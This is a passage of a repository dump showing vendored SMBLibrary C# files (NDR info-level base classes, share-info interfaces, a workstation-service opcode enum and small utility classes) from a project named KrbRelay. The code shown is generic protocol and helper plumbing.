can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | 10 | namespace SMBLibrary.Services 11 | { 12 | public abstract class ServerInfoLevel : INDRStructure 13 | { 14 | public abstract void Read(NDRParser parser); 15 | 16 | public abstract void Write(NDRWriter writer); 17 | 18 | public abstract uint Level 19 | { 20 | get; 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/ServerService/Structures/ShareInfo/IShareInfoContainer.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | 10 | namespace SMBLibrary.Services 11 | { 12 | public interface IShareInfoContainer : INDRStructure 13 | { 14 | uint Level 15 | { 16 | get; 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/ServerService/Structures/ShareInfo/IShareInfoEntry.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | 10 | namespace SMBLibrary.Services 11 | { 12 | public interface IShareInfoEntry : INDRStructure 13 | { 14 | uint Level 15 | { 16 | get; 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/WorkstationService/Enums/WorkstationServiceOpName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum WorkstationServiceOpName : ushort 4 | { 5 | NetrWkstaGetInfo = 0, 6 | NetrWkstaSetInfo = 1, 7 | NetrWkstaUserEnum = 2, 8 | NetrWkstaTransportEnum = 5, 9 | NetrWkstaTransportAdd = 6, 10 | NetrWkstaTransportDel = 7, 11 | NetrUseAdd = 8, 12 | NetrUseGetInfo = 9, 13 | NetrUseDel = 10, 14 | NetrUseEnum = 11, 15 | NetrWorkstationStatisticsGet = 13, 16 | NetrGetJoinInformation = 20, 17 | NetrJoinDomain2 = 22, 18 | NetrUnjoinDomain2 = 23, 19 | NetrRenameMachineInDomain2 = 24, 20 | NetrValidateName2 = 25, 21 | NetrGetJoinableOUs2 = 26, 22 | NetrAddAlternateComputerName = 27, 23 | NetrRemoveAlternateComputerName = 28, 24 | NetrSetPrimaryComputerName = 29, 25 | NetrEnumerateComputerNames = 30, 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Services/WorkstationService/Structures/WorkstationInfoLevel.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2014 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using SMBLibrary.RPC; 9 | 10 | namespace SMBLibrary.Services 11 | { 12 | public abstract class WorkstationInfoLevel : INDRStructure 13 | { 14 | public abstract void Read(NDRParser parser); 15 | 16 | public abstract void Write(NDRWriter writer); 17 | 18 | public abstract uint Level 19 | { 20 | get; 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/SMBLibrary/Utilities/LogEntry.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2012-2016 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System; 9 | 10 | namespace Utilities 11 | { 12 | public enum Severity 13 | { 14 | Critical = 1, 15 | Error = 2, 16 | Warning = 3, 17 | Information = 4, 18 | Verbose = 5, 19 | Debug = 6, 20 | Trace = 7, 21 | } 22 | 23 | public class LogEntry : EventArgs 24 | { 25 | public DateTime Time; 26 | public Severity Severity; 27 | public string Source; 28 | public string Message; 29 | 30 | public LogEntry(DateTime time, Severity severity, string source, string message) 31 | { 32 | Time = time; 33 | Severity = severity; 34 | Source = source; 35 | Message = message; 36 | } 37 | } 38 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/Utilities/Comparers/ReverseComparer.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2005-2020 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | using System.Collections.Generic; 9 | 10 | namespace Utilities 11 | { 12 | public class ReverseComparer : IComparer 13 | { 14 | private IComparer m_comparer; 15 | 16 | public ReverseComparer(IComparer comparer) 17 | { 18 | m_comparer = comparer; 19 | } 20 | 21 | public int Compare(T x, T y) 22 | { 23 | return m_comparer.Compare(y, x); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/Utilities/Generics/Reference.cs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2017-2020 Tal Aloni . All rights reserved. 2 | * 3 | * You can redistribute this program and/or modify it under the terms of 4 | * the GNU Lesser Public License as published by the Free Software Foundation, 5 | * either version 3 of the License, or (at your option) any later version. 6 | */ 7 | 8 | namespace Utilities 9 | { 10 | public class Reference where T : struct 11 | { 12 | private T m_value; 13 | 14 | public Reference(T value) 15 | { 16 | m_value = value; 17 | } 18 | 19 | public T Value 20 | { 21 | get { return m_value; } 22 | set { m_value = value; } 23 | } 24 | 25 | public override string ToString() 26 | { 27 | return m_value.ToString(); 28 | } 29 | 30 | public static implicit operator T(Reference wrapper) 31 | { 32 | return wrapper.Value; 33 | } 34 | 35 | public static implicit operator Reference(T value) 36 | { 37 | return new Reference(value); 38 | } 39 | } 40 | } -------------------------------------------------------------------------------- /KrbRelay/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | --------------------------------------------------------------------------------